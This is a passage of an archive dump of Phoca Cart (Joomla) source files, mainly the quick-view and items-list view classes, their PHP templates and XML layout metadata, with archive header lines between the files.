$this->p = $app->getParams();
$this->u = PhocacartUser::getUser();
$this->s = PhocacartRenderStyle::getStyles();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$model = $this->getModel();
$document = JFactory::getDocument();
$id = $app->input->get('id', 0, 'int');
$catid = $app->input->get('catid', 0,
'int');
$this->category = $model->getCategory($id, $catid);
$this->item = $model->getItem($id, $catid);
$this->t['catid'] = 0;
if (isset($this->category[0]->id)) {
$this->t['catid'] = (int)$this->category[0]->id;
}
// PARAMS
$this->t['tax_calculation'] = $this->p->get(
'tax_calculation', 0 );
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
$this->t['display_back'] = $this->p->get(
'display_back', 3 );
//$this->t['enable_social'] = $this->p->get(
'enable_social', 0 );
// $this->t['enable_item_navigation'] = $this->p->get(
'enable_item_navigation', 0 );
$this->t['item_addtocart'] = $this->p->get(
'item_addtocart', 1 );
// $this->t['enable_review'] = $this->p->get(
'enable_review', 1 );
$this->t['dynamic_change_image'] = $this->p->get(
'dynamic_change_image', 0);
$this->t['dynamic_change_price'] = $this->p->get(
'dynamic_change_price', 0 );
$this->t['dynamic_change_stock'] = $this->p->get(
'dynamic_change_stock', 0 );
$this->t['dynamic_change_id'] = $this->p->get(
'dynamic_change_id', 0 );
$this->t['remove_select_option_attribute']=
$this->p->get( 'remove_select_option_attribute', 1 );
/* $this->t['image_popup_method'] = $this->p->get(
'image_popup_method', 1 );
$this->t['display_compare'] = $this->p->get(
'display_compare', 0 );
$this->t['display_wishlist'] = $this->p->get(
'display_wishlist', 0 );
$this->t['add_compare_method'] = $this->p->get(
'add_compare_method', 0 );
$this->t['add_wishlist_method'] = $this->p->get(
'add_wishlist_method', 0 );*/
$this->t['hide_addtocart'] = $this->p->get(
'hide_addtocart', 0 );
$this->t['hide_attributes_item'] = $this->p->get(
'hide_attributes_item', 0 );
$this->t['hide_attributes'] = $this->p->get(
'hide_attributes', 0 );
/* $this->t['item_askquestion'] = $this->p->get(
'item_askquestion', 0 );
$this->t['popup_askquestion'] = $this->p->get(
'popup_askquestion', 1 );*/
$this->t['item_display_delivery_date'] =
$this->p->get( 'item_display_delivery_date', 0 );
$this->t['item_display_size_options'] =
$this->p->get( 'item_display_size_options', 0 );
$this->t['enable_rewards'] = $this->p->get(
'enable_rewards', 1 );
$this->t['display_stock_status'] = $this->p->get(
'display_stock_status', 1 );
$this->t['hide_add_to_cart_stock'] = $this->p->get(
'hide_add_to_cart_stock', 0 );
$this->t['zero_attribute_price'] = $this->p->get(
'zero_attribute_price', 1 );
$this->t['hide_add_to_cart_zero_price'] =
$this->p->get( 'hide_add_to_cart_zero_price', 0 );
$this->t['display_webp_images'] = $this->p->get(
'display_webp_images', 0 );
$this->t['item_display_labels'] = $this->p->get(
'item_display_labels', 2 );
$this->t['item_display_tags'] = $this->p->get(
'item_display_tags', 1 );
// Rights or catalogue options --------------------------------
$rights = new PhocacartAccessRights();
$this->t['can_display_price'] =
$rights->canDisplayPrice();
$this->t['can_display_addtocart'] =
$rights->canDisplayAddtocart();
$this->t['can_display_attributes'] =
$rights->canDisplayAttributes();
if (!$this->t['can_display_addtocart']) {
$this->t['item_addtocart'] = 0;
//$this->t['display_addtocart_icon'] = 0;
//$this->t['hide_attributes_category']= 1; Should be
displayed or not?
}
if (!$this->t['can_display_attributes']) {
$this->t['hide_attributes_item'] = 1;
}
// ------------------------------------------------------------
$this->t['image_rel'] = '';
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
if (!$this->item) {
$response = array(
'status' => '0',
'error' => '<span class="ph-result-txt
ph-error-txt">'.JText::_('COM_PHOCACART_NO_PRODUCT_FOUND').'</span>');
echo json_encode($response);
return;
} else {
//$this->t['add_images'] =
PhocacartImage::getAdditionalImages((int)$id);
//$this->t['rel_products'] =
PhocacartRelated::getRelatedItemsById((int)$id, 0, 1);
$this->t['tags_output'] =
PhocacartTag::getTagsRendered((int)$id,
$this->t['item_display_tags']);
$this->t['taglabels_output'] =
PhocacartTag::getTagsRendered((int)$id,
$this->t['item_display_labels']);
$this->t['stock_status'] =
PhocacartStock::getStockStatus((int)$this->item[0]->stock,
(int)$this->item[0]->min_quantity,
(int)$this->item[0]->min_multiple_quantity,
(int)$this->item[0]->stockstatus_a_id,
(int)$this->item[0]->stockstatus_n_id);
$this->t['stock_status_output'] =
PhocacartStock::getStockStatusOutput($this->t['stock_status']);
$this->t['attr_options'] =
$this->t['hide_attributes_item'] == 0 ?
PhocacartAttribute::getAttributesAndOptions((int)$id) : array();
$this->t['specifications'] =
PhocacartSpecification::getSpecificationGroupsAndSpecifications((int)$id);
//$this->t['reviews'] =
PhocacartReview::getReviewsByProduct((int)$id);
//$this->t['action'] = $uri->toString();
$this->t['action'] =
JRoute::_(PhocacartRoute::getCheckoutRoute((int)$this->item[0]->id,
(int)$this->category[0]->id));
//$this->t['actionbase64'] =
base64_encode(htmlspecialchars($this->t['action']));
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute((int)$this->item[0]->id,
(int)$this->category[0]->id));
$this->t['linkitem'] =
JRoute::_(PhocacartRoute::getItemRoute((int)$this->item[0]->id,
(int)$this->category[0]->id));
$o2 = '';
if (!empty($this->item[0])) {
$o2 = $this->loadTemplate('quickview');
$model->hit((int)$id);
PhocacartStatisticsHits::productHit((int)$id);
}
$response = array(
'status' => '1',
'item' => '',
'popup' => $o2);
echo json_encode($response);
return;
}
}
protected function _prepareDocument() {}
}
?>
items/index.html000064400000000054151165727040007671
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>items/metadata.xml000064400000000265151165727040010202
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_ITEMS_GROUP">
<message><![CDATA[COM_PHOCACART_ITEMS_GROUP_DESC]]></message>
</view>
</metadata>items/tmpl/default.php000064400000045567151165727040011027
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
defined('_JEXEC') or die();
$layoutC = new JLayoutFile('button_compare', null,
array('component' => 'com_phocacart'));
$layoutW = new JLayoutFile('button_wishlist', null,
array('component' => 'com_phocacart'));
$layoutQVB = new JLayoutFile('button_quickview', null,
array('component' => 'com_phocacart'));
$layoutS = new JLayoutFile('product_stock', null,
array('component' => 'com_phocacart'));
$layoutPOQ = new JLayoutFile('product_order_quantity', null,
array('component' => 'com_phocacart'));
$layoutR = new JLayoutFile('product_rating', null,
array('component' => 'com_phocacart'));
$layoutAI = new JLayoutFile('button_add_to_cart_icon', null,
array('component' => 'com_phocacart'));
$layoutIL = new JLayoutFile('items_list', null,
array('component' => 'com_phocacart'));
$layoutIGL = new JLayoutFile('items_gridlist', null,
array('component' => 'com_phocacart'));
$layoutIG = new JLayoutFile('items_grid', null,
array('component' => 'com_phocacart'));
$layoutAAQ = new JLayoutFile('popup_container_iframe', null,
array('component' => 'com_phocacart'));
// HEADER - NOT AJAX
if (!$this->t['ajax']) {
echo '<div id="ph-pc-category-box"
class="pc-category-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo $this->loadTemplate('header');
echo $this->loadTemplate('pagination_top');
echo '<div id="phItemsBox">';
}
// ITEMS a) items displayed by layout plugin, b) items displayed common
way, c) no items found
if (!empty($this->items) &&
$this->t['pluginlayout']) {
$pluginOptions = array();
$eventData = array();
$dLA = array();
$eventData['pluginname'] =
$this->t['items_layout_plugin'];
Factory::getApplication()->triggerEvent('PCLonItemsGetOptions',
array('com_phocacart.items', &$pluginOptions, $eventData));
if (isset($pluginOptions['layouttype']) &&
$pluginOptions['layouttype'] != '') {
$this->t['layouttype'] =
PhocacartText::filterValue($pluginOptions['layouttype'],
'alphanumeric5');
}
$lt = $this->t['layouttype'];
$dLA['t'] = $this->t;
$dLA['s'] = $this->s;
echo '<div id="phItems" class="ph-items
'.$lt.'">';
Factory::getApplication()->triggerEvent('PCLonItemsInsideLayout',
array('com_phocacart.items', &$this->items, $dLA,
$eventData));
echo $this->loadTemplate('pagination');
echo '</div>'. "\n"; // end items
} else if (!empty($this->items)) {
$price = new PhocacartPrice;
$col =
PhocacartRenderFront::getColumnClass((int)$this->t['columns_cat']);
$lt = $this->t['layouttype'];
$i = 1; // Not equal Heights
echo '<div id="phItems" class="ph-items
'.$lt.'">';
echo '<div
class="'.PhocacartRenderFront::completeClass(array($this->s['c']['row'],
$this->t['class_row_flex'],
$this->t['class_lazyload'], $lt)).'">';
foreach ($this->items as $v) {
// DIFF CATEGORY / ITEMS
$this->t['categoryid'] = (int)$v->catid;
$label = PhocacartRenderFront::getLabel($v->date, $v->sales,
$v->featured);
$link = JRoute::_(PhocacartRoute::getItemRoute($v->id, $v->catid,
$v->alias, $v->catalias));
// Image data
$attributesOptions = $this->t['hide_attributes_category']
== 0 ? PhocacartAttribute::getAttributesAndOptions((int)$v->id) :
array();
if (!isset($v->additional_image)) { $v->additional_image =
'';}
$image = PhocacartImage::getImageDisplay($v->image,
$v->additional_image, $this->t['pathitem'],
$this->t['switch_image_category_items'],
$this->t['image_width_cat'],
$this->t['image_height_cat'], '', $lt,
$attributesOptions);
// :L: IMAGE
$dI = array();
if (isset($image['image']->rel) &&
$image['image']->rel != '') {
$dI['t'] = $this->t;
$dI['s'] = $this->s;
$dI['product_id'] = (int)$v->id;
$dI['layouttype'] = $lt;
$dI['title'] = $v->title;
$dI['image'] = $image;
$dI['typeview'] = 'Items';
}
// :L: COMPARE
$icon = array();
$icon['compare'] = '';
if ($this->t['display_compare'] == 1) {
$d = array();
$d['s'] = $this->s;
$d['linkc'] = $this->t['linkcomparison'];
$d['id'] = (int)$v->id;
$d['catid'] = $this->t['categoryid'];
$d['return']= $this->t['actionbase64'];
$d['method']= $this->t['add_compare_method'];
$icon['compare'] = $layoutC->render($d);
}
// :L: WISHLIST
$icon['wishlist'] = '';
if ($this->t['display_wishlist'] == 1) {
$d = array();
$d['s'] = $this->s;
$d['linkw'] = $this->t['linkwishlist'];
$d['id'] = (int)$v->id;
$d['catid'] = $this->t['categoryid'];
$d['return']= $this->t['actionbase64'];
$d['method']= $this->t['add_wishlist_method'];
$icon['wishlist'] = $layoutW->render($d);
}
// :L: QUICKVIEW
$icon['quickview'] = '';
if ($this->t['display_quickview'] == 1) {
$d = array();
$d['s'] = $this->s;
$d['linkqvb'] =
JRoute::_(PhocacartRoute::getItemRoute($v->id, $v->catid,
$v->alias, $v->catalias));
$d['id'] = (int)$v->id;
$d['catid'] = $this->t['categoryid'];
$d['return'] = $this->t['actionbase64'];
$icon['quickview'] = $layoutQVB->render($d);
}
// :L: PRICE
$dP = array();
$priceItems = array();
if ($this->t['can_display_price']) {
$dP['type'] = $v->type;// PRODUCTTYPE
$priceItems = $price->getPriceItems($v->price, $v->taxid,
$v->taxrate, $v->taxcalculationtype, $v->taxtitle,
$v->unit_amount, $v->unit_unit, 1, 1, $v->group_price);
$price->getPriceItemsChangedByAttributes($dP['priceitems'],
$attributesOptions, $price, $v);
$dP['priceitemsorig']= array();
$dP['priceitems'] = $priceItems;
if ($v->price_original != '' &&
$v->price_original > 0) {
$dP['priceitemsorig'] =
$price->getPriceItems($v->price_original, $v->taxid,
$v->taxrate, $v->taxcalculationtype);
}
//$dP['class'] = 'ph-category-price-box '.$lt;
$dP['class'] = 'ph-category-price-box';// Cannot be
dynamic as can change per ajax - this can cause jumping of boxes
$dP['product_id'] = (int)$v->id;
$dP['typeview'] = 'Items';
// Display discount price
// Move standard prices to new variable (product price -> product
discount)
$dP['priceitemsdiscount'] = $dP['priceitems'];
$dP['discount'] =
PhocacartDiscountProduct::getProductDiscountPrice($v->id,
$dP['priceitemsdiscount']);
// Display cart discount (global discount) in product views - under
specific conditions only
// Move product discount prices to new variable (product price ->
product discount -> product discount cart)
$dP['priceitemsdiscountcart'] =
$dP['priceitemsdiscount'];
$dP['discountcart'] =
PhocacartDiscountCart::getCartDiscountPriceForProduct($v->id,
$v->catid, $dP['priceitemsdiscountcart']);
$dP['zero_price'] = 1;// Apply zero price if possible
}
// :L: LINK TO PRODUCT VIEW
$dV = array();
$dV['s'] = $this->s;
$dV['display_view_product_button'] =
$this->t['display_view_product_button'];
if ((int)$this->t['display_view_product_button'] > 0) {
$dV['link'] = $link;
//$dV['display_view_product_button'] =
$this->t['display_view_product_button'];
}
// :L: ADD TO CART
$dA = $dA2 = $dA3 = $dA4 = $dAb = $dF = array();
$icon['addtocart'] = '';
// STOCK ===================================================
// Set stock: product, variations, or advanced stock status
$dSO = '';
$dA['class_btn'] = '';
$dA['class_icon'] = '';
$dA['s'] = $this->s;
if ($this->t['display_stock_status'] == 2 ||
$this->t['display_stock_status'] == 3) {
$stockStatus = array();
$stock =
PhocacartStock::getStockItemsChangedByAttributes($stockStatus,
$attributesOptions, $v);
if ($this->t['hide_add_to_cart_stock'] == 1 &&
(int)$stock < 1) {
$dA['class_btn'] = 'ph-visibility-hidden';// hide
button
$dA['class_icon'] = 'ph-display-none';// hide
icon
}
if($stockStatus['stock_status'] ||
$stockStatus['stock_count'] !== false) {
$dS = array();
$dS['s'] = $this->s;
$dS['class'] = 'ph-category-stock-box';
$dS['product_id'] = (int)$v->id;
$dS['typeview'] = 'Category';
$dS['stock_status_output'] =
PhocacartStock::getStockStatusOutput($stockStatus);
$dSO = $layoutS->render($dS);
}
if($stockStatus['min_quantity']) {
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_ORDER_QUANTITY');
$dPOQ['status'] = $stockStatus['min_quantity'];
$dSO .= $layoutPOQ->render($dPOQ);
}
if($stockStatus['min_multiple_quantity']) {
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_MULTIPLE_ORDER_QUANTITY');
$dPOQ['status'] =
$stockStatus['min_multiple_quantity'];
$dSO .= $layoutPOQ->render($dPOQ);
}
}
// END STOCK ================================================
// ------------------------------------
// BUTTONS + ICONS
// ------------------------------------
// Prepare data for Add to cart button
// - Add To Cart Standard Button
// - Add to Cart Icon Button
// - Add to Cart Icon Only
if ((int)$this->t['category_addtocart'] == 1 ||
(int)$this->t['category_addtocart'] == 4 ||
$this->t['display_addtocart_icon'] == 1) {
// FORM DATA
$dF['s'] = $this->s;
$dF['linkch'] = $this->t['linkcheckout'];//
link to checkout (add to cart)
$dF['id'] = (int)$v->id;
$dF['catid'] = $this->t['categoryid'];
$dF['return'] = $this->t['actionbase64'];
$dF['typeview'] = 'Items';
$dA['addtocart'] =
$this->t['category_addtocart'];
$dA['addtocart_icon'] =
$this->t['display_addtocart_icon'];
// Both buttons + icon
$dA['s'] = $this->s;
$dA['id'] = (int)$v->id;
$dA['link'] = $link;// link to item (product) view e.g.
when there are required attributes - we cannot add it to cart
$dA['addtocart'] =
$this->t['category_addtocart'];
$dA['method'] = $this->t['add_cart_method'];
$dA['typeview'] = 'Items';
// ATTRIBUTES, OPTIONS
$dAb['s'] = $this->s;
$dAb['attr_options'] = $attributesOptions;
$dAb['hide_attributes'] =
$this->t['hide_attributes_category'];
$dAb['dynamic_change_image'] =
$this->t['dynamic_change_image'];
$dAb['remove_select_option_attribute'] =
$this->t['remove_select_option_attribute'];
$dAb['zero_attribute_price'] =
$this->t['zero_attribute_price'];
$dAb['pathitem'] = $this->t['pathitem'];
$dAb['product_id'] = (int)$v->id;
$dAb['gift_types'] = $v->gift_types;
$dAb['image_size'] = $image['size'];
$dAb['typeview'] = 'Items';
$dAb['price'] = $price;
$dAb['priceitems'] = $priceItems;
// Attribute is required and we don't display it in category/items
view, se we need to redirect to detail view
$dA['selectoptions'] = 0;
if (isset($v->attribute_required) &&
$v->attribute_required == 1 &&
$this->t['hide_attributes_category'] == 1) {
$dA['selectoptions'] = 1;
}
// Add To Cart as Icon
if ($this->t['display_addtocart_icon'] == 1) {
$icon['addtocart'] = $layoutAI->render($dA);
}
}
// Different button or icons
$addToCartHidden = 0;// Design parameter - if there is no button (add to
cart, paddle link, external link), used e.g. for displaying ask a question
button
// Type 3 is Product Price on Demand - there is no add to cart button
except Quick View Button
if ($v->type == 3 &&
(int)$this->t['category_addtocart'] != 104) {
// PRODUCTTYPE - price on demand price cannot be added to cart
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
except Quick View Button
$dF = array();// Skip form
$addToCartHidden = 1;
} else if ($this->t['hide_add_to_cart_zero_price'] == 1
&& $v->price == 0) {
// Don't display Add to Cart in case the price is zero
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
$dF = array();// Skip form
$addToCartHidden = 1;
} else if ((int)$this->t['category_addtocart'] == 1 ||
(int)$this->t['category_addtocart'] == 4) {
// ADD TO CART BUTTONS - we have data yet
} else if ((int)$this->t['category_addtocart'] == 102
&& (int)$v->external_id != '') {
// EXTERNAL LINK PADDLE
$dA2['t'] = $this->t;
$dA2['s'] = $this->s;
$dA2['external_id'] = (int)$v->external_id;
$dA2['return'] = $this->t['actionbase64'];
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
$dF = array();// Skip form
} else if ((int)$this->t['category_addtocart'] == 103
&& $v->external_link != '') {
// EXTERNAL LINK
$dA3['t'] = $this->t;
$dA3['s'] = $this->s;
$dA3['external_link'] = $v->external_link;
$dA3['external_text'] = $v->external_text;
$dA3['return'] = $this->t['actionbase64'];
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
$dF = array();// Skip form
} else if ((int)$this->t['category_addtocart'] == 104) {
// QUICK VIEW
$dA4 = array();
$dA4['s'] = $this->s;
$dA4['linkqvb'] =
JRoute::_(PhocacartRoute::getItemRoute($v->id, $v->catid,
$v->alias, $v->catalias));
$dA4['id'] = (int)$v->id;
$dA4['catid'] = $this->t['categoryid'];
$dA4['return'] = $this->t['actionbase64'];
$dA4['button'] = 1;
$dA = array(); // Skip Standard Add to cart button
$icon['addtocart'] = '';// Skip Add to cart icon
$dF = array();// Skip form
} else {
// ADD TO CART ICON ONLY (NO BUTTONS)
$dA = array(); // Skip Standard Add to cart button
// We remove the $dA completely, even for the icon, but the icon has the
data already stored in $icon['addtocart']
// so no problem with removing the data completely
// $dA for button will be rendered
// $dA for icon was rendered already
// Do not skip the form here
$addToCartHidden = 1;
}
// ---------------------------- END BUTTONS
$dQ = array();
if (((int)$this->t['category_askquestion'] == 1) ||
($this->t['category_askquestion'] == 2 &&
((int)$this->t['category_addtocart'] == 0 || $addToCartHidden
!= 0))) {
$dQ['s'] = $this->s;
$dQ['id'] = (int)$v->id;
$dQ['catid'] = $this->t['categoryid'];
$dQ['popup'] = 0;
$tmpl = '';
if ((int)$this->t['popup_askquestion'] > 0) {
$dQ['popup'] =
(int)$this->t['popup_askquestion'];
$popupAskAQuestion = (int)$this->t['popup_askquestion'];
$tmpl = 'tmpl=component';
}
$dQ['link'] =
JRoute::_(PhocacartRoute::getQuestionRoute($v->id, $v->catid,
$v->alias, $v->catalias, $tmpl));
$dQ['return'] = $this->t['actionbase64'];
}
// ======
// RENDER
// ======
$dL = array();
$dL['t'] = $this->t;
$dL['s'] = $this->s;
$dL['col'] = $col;
$dL['link'] = $link;
$dL['lt'] = $lt;// Layout Type
$dL['layout']['dI'] = $dI;// Image
$dL['layout']['dP'] = $dP;// Price
$dL['layout']['dSO'] = $dSO;// Stock Output
$dL['layout']['dF'] = $dF;// Form
$dL['layout']['dAb'] = $dAb;// Attributes
$dL['layout']['dV'] = $dV;// Link to Product View
$dL['layout']['dA'] = $dA;// Button Add to Cart
$dL['layout']['dA2'] = $dA2;// Button Buy now
$dL['layout']['dA3'] = $dA3;// Button external link
$dL['layout']['dA4'] = $dA4;// Button external link
$dL['layout']['dQ'] = $dQ;// Ask A Question
$dL['icon'] = $icon;// Icons
$dL['product_header'] =
PhocacartRenderFront::renderProductHeader($this->t['product_name_link'],
$v, 'item', '', $lt);
//$dL['product_header'] .= '<div>SKU:
'.$v->sku.'</div>';
//$dL['product_header'] .= '<div>EAN:
'.$v->ean.'</div>';
// Events
$results =
\JFactory::getApplication()->triggerEvent('PCVonItemsItemAfterAddToCart',
array('com_phocacart.items', &$v, &$this->p));
$dL['event']['onCategoryItemsItemAfterAddToCart'] =
trim(implode("\n", $results));
// LABELS
$dL['labels'] = $label['new'] .
$label['hot'] . $label['feat'];
$tagLabelsOutput = PhocacartTag::getTagsRendered((int)$v->id,
$this->t['category_display_labels']);
if ($tagLabelsOutput != '') {
$dL['labels'] .= $tagLabelsOutput;
}
// REVIEW - STAR RATING
$dL['review'] = '';
if ((int)$this->t['display_star_rating'] > 0) {
$d = array();
$d['s'] = $this->s;
$d['rating'] = isset($v->rating) &&
(int)$v->rating > 0 ? (int)$v->rating : 0;
$d['size'] = 16;
$d['display_star_rating'] =
(int)$this->t['display_star_rating'];
$dL['review'] = $layoutR->render($d);
}
// DESCRIPTION
$dL['description'] = '';
if ($this->t['cv_display_description'] == 1 &&
$v->description != '') {
$dL['description'] = '<div
class="ph-item-desc">' .
HTMLHelper::_('content.prepare', $v->description) .
'</div>';
}
// TAGS
$dL['tags'] = '';
$tagsOutput = PhocacartTag::getTagsRendered((int)$v->id,
$this->t['category_display_tags'], ', ');
if ($tagsOutput != '') {
$dL['tags'] .= $tagsOutput;
}
// MANUFACTURER
$dL['manufacturer'] = '';
if ($this->t['category_display_manufacturer'] > 0
&& (int)$v->manufacturerid > 0 &&
$v->manufacturertitle != '') {
$dL['manufacturer'] .=
PhocacartManufacturer::getManufacturerRendered((int)$v->manufacturerid,
$v->manufacturertitle, $v->manufactureralias,
$this->t['manufacturer_alias'],
$this->t['category_display_manufacturer'], 0, '');
}
if ($lt == 'list') {
echo $layoutIL->render($dL);
} else if ( $lt == 'gridlist') {
echo $layoutIGL->render($dL);
} else {
echo $layoutIG->render($dL);
}
// --------------- END RENDER
if ($i%(int)$this->t['columns_cat'] == 0) {
echo '<div class="ph-cb
'.$lt.'"></div>';
}
$i++;
}
echo '</div>';// end row (row-flex)
echo '<div class="ph-cb
'.$lt.'"></div>';
echo $this->loadTemplate('pagination');
echo '</div>'. "\n"; // end items
} else {
echo '<div
class="ph-no-items-found">'.JText::_('COM_PHOCACART_NO_ITEMS_FOUND').'</div>';
}
// FOOTER - NOT AJAX
if (!$this->t['ajax']) {
echo '</div>';// end #phItemsBox
echo '</div>';// end #ph-pc-category-box
echo '<div id="phContainer"></div>';
if (isset($popupAskAQuestion) && $popupAskAQuestion == 2) {
echo '<div id="phContainerPopup">';
$d = array();
$d['id'] = 'phAskAQuestionPopup';
$d['title'] =
JText::_('COM_PHOCACART_ASK_A_QUESTION');
$d['icon'] =
$this->s['i']['question-sign'];
$d['t'] = $this->t;
$d['s'] = $this->s;
echo $layoutAAQ->render($d);
echo '</div>';// end phContainerPopup
}
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
}
?>
items/tmpl/default.xml000064400000002755151165727040011030 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_ITEM_LIST_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_ITEM_LIST_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_ITEM_LIST_LAYOUT</name>
<description>COM_PHOCACART_ITEM_LIST_LAYOUT_DESC</description>
<fields name="request">
<fieldset name="request"
addfieldpath="/administrator/components/com_phocacart/models/fields">
</fieldset>
</fields>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
<field name="show_pagination" type="radio"
class="btn-group btn-group-yesno" default="1"
label="COM_PHOCACART_FIELD_SHOW_PAGINATION_LABEL"
description="COM_PHOCACART_FIELD_SHOW_PAGINATION_DESC">
<option value="0">COM_PHOCACART_HIDE</option>
<option value="1">COM_PHOCACART_DISPLAY</option>
</field>
<field name="show_pagination_top" type="radio"
class="btn-group btn-group-yesno" default="1"
label="COM_PHOCACART_FIELD_SHOW_PAGINATION_TOP_LABEL"
description="COM_PHOCACART_FIELD_SHOW_PAGINATION_TOP_DESC">
<option value="0">COM_PHOCACART_HIDE</option>
<option value="1">COM_PHOCACART_DISPLAY</option>
</field>
<field name="items_view_id_cats"
type="phocacartcategory" section="com_phocacart"
default="0"
label="COM_PHOCACART_FIELD_ITEMS_VIEW_FORCE_CATEGORY_LABEL"
description="COM_PHOCACART_FIELD_ITEMS_VIEW_FORCE_CATEGORY_DESC"
multiple="true" />
</fieldset>
</fields>
</metadata>
items/tmpl/default_header.php000064400000003341151165727040012317
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
if (isset($this->category[0]->parentid) &&
($this->t['display_back'] == 1 ||
$this->t['display_back'] == 3)) {
if ($this->category[0]->parentid == 0) {
$linkUp = JRoute::_(PhocacartRoute::getCategoriesRoute());
$linkUpText = JText::_('COM_PHOCACART_CATEGORIES');
} else if ($this->category[0]->parentid > 0) {
$linkUp =
JRoute::_(PhocacartRoute::getCategoryRoute($this->category[0]->parentid,
$this->category[0]->parentalias));
$linkUpText = $this->category[0]->parenttitle;
} else {
$linkUp = false;
$linkUpText = false;
}
if ($linkUp && $linkUpText) {
echo '<div class="ph-top">'
.'<a
class="'.$this->s['c']['btn.btn-success'].'"
title="'.$linkUpText.'" href="'.
$linkUp.'" >'
.'<span
class="'.$this->s['i']['back-category'].'"></span>
'.JText::_($linkUpText).'</a>'
.'</div>';
}
}
echo $this->t['event']->onItemsBeforeHeader;
$title = '';
if (isset($this->category[0]->title) &&
$this->category[0]->title != '') {
$title = $this->category[0]->title;
}
// DIFF CATEGORY / ITEMS
echo PhocacartRenderFront::renderHeader(array($title,
JText::_('COM_PHOCACART_ITEMS')), '',
$this->t['image_items_view']);
if ( isset($this->category[0]->description) &&
$this->category[0]->description != '') {
echo '<div class="ph-desc">'.
Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$this->category[0]->description). '</div>';
}
?>
items/tmpl/default_pagination.php000064400000001246151165727040013222
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$this->t['action'] = str_replace('&',
'&', $this->t['action']);
$this->t['action'] =
htmlspecialchars($this->t['action']);
$layout = new JLayoutFile('category_pagination', null,
array('component' => 'com_phocacart'));
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
echo $layout->render($d);
?>
items/tmpl/default_pagination_top.php000064400000001252151165727040014101
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$this->t['action'] = str_replace('&',
'&', $this->t['action']);
$this->t['action'] =
htmlspecialchars($this->t['action']);
$layout = new JLayoutFile('category_pagination_top', null,
array('component' => 'com_phocacart'));
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
echo $layout->render($d);
?>
items/tmpl/index.html000064400000000054151165727040010645
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>items/view.html.php000064400000035534151165727040010335
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see
LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*
* Why Items View or why category view? Category view always has category
ID,
* but items view is here for filtering and searching and this can be
without category ID
*/
defined('_JEXEC') or die();
jimport('joomla.application.component.view');
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
class PhocaCartViewItems extends JViewLegacy
{
protected $category;
//protected $subcategories;
protected $items;
protected $t;
protected $r;
protected $p;
protected $s;
function display($tpl = null) {
$app = JFactory::getApplication();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$model = $this->getModel();
$document = JFactory::getDocument();
$this->t['categoryid'] =
$app->input->get('id', 0, 'int');// optional
$this->t['limitstart'] =
$app->input->get('limitstart', 0, 'int');
$this->t['ajax'] = 0;
// PARAMS
$this->t['view'] = 'items';
$this->t['items_layout_plugin'] = $this->p->get(
'items_layout_plugin', '');
$this->t['display_new'] =
$this->p->get('display_new', 0);
$this->t['cart_metakey'] =
$this->p->get('cart_metakey', '');
$this->t['cart_metadesc'] =
$this->p->get('cart_metadesc', '');
//$this->t['description'] = $this->p->get(
'description', '' );
$this->t['cv_display_description'] =
$this->p->get('cv_display_description', 1);
$this->t['image_width_cat'] =
$this->p->get('image_width_cat', '');
$this->t['image_height_cat'] =
